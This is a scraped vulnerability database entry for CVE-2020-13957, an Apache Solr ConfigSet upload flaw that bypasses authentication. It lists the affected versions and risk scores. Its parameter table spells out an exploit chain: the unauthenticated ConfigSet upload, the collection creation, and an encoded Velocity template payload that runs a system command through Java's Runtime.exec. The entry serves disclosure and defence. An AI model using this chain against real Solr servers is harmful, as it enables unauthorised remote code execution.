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CVE-2020-13957

🗓️ 13 Oct 2020 18:28:52Reported by apacheType 
cve
 cve
🔗 web.nvd.nist.gov📰️ 2 Media mentions👁 2266 Views🌐 WEB

Apache Solr prevents dangerous features upload without authentication/authorizatio

Related
Detection
Affected
Refs
Paths
Social
NVD
Vulners
Node
OR
apachesolrRange6.6.06.6.6
apachesolrRange7.0.07.7.3
apachesolrRange8.0.08.6.2
[
  {
    "product": "Apache Solr",
    "vendor": "n/a",
    "versions": [
      {
        "status": "affected",
        "version": "Apache Solr 6.6.0 to 6.6.6, 7.0.0 to 7.7.3, 8.0.0 to 8.6.2"
      }
    ]
  }
]
ParameterPositionPathDescriptionCWE
actionbinary/solr/admin/configs?action=UPLOAD&name=myConfigSetConfigSet upload via API can be abused to bypass protections and enable RCE when combined with other actionsCWE-863
namebinary/solr/admin/configs?action=UPLOAD&name=myConfigSetConfigSet upload via API can be abused to bypass protections and enable RCE when combined with other actionsCWE-863
actionquery param/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSetCreate a Solr collection using crafted parameters that can lead to executing uploaded/configured ConfigSet featuresCWE-863
namequery param/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSetCreate a Solr collection using crafted parameters that can lead to executing uploaded/configured ConfigSet featuresCWE-863
numShardsquery param/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSetCreate a Solr collection using crafted parameters that can lead to executing uploaded/configured ConfigSet featuresCWE-863
replicationFactorquery param/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSetCreate a Solr collection using crafted parameters that can lead to executing uploaded/configured ConfigSet featuresCWE-863
wtquery param/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSetCreate a Solr collection using crafted parameters that can lead to executing uploaded/configured ConfigSet featuresCWE-863
collection.configNamequery param/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSetCreate a Solr collection using crafted parameters that can lead to executing uploaded/configured ConfigSet featuresCWE-863
qquery param/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27id%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23endExploitation via velocity template parameters to execute arbitrary commandsCWE-863
wtquery param/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27id%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23endExploitation via velocity template parameters to execute arbitrary commandsCWE-863
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17 Jun 2026 02:54Current
9.3High risk
Vulners AI Score9.3
CVSS 27.5
CVSS 3.19.8
EPSS0.78874
2266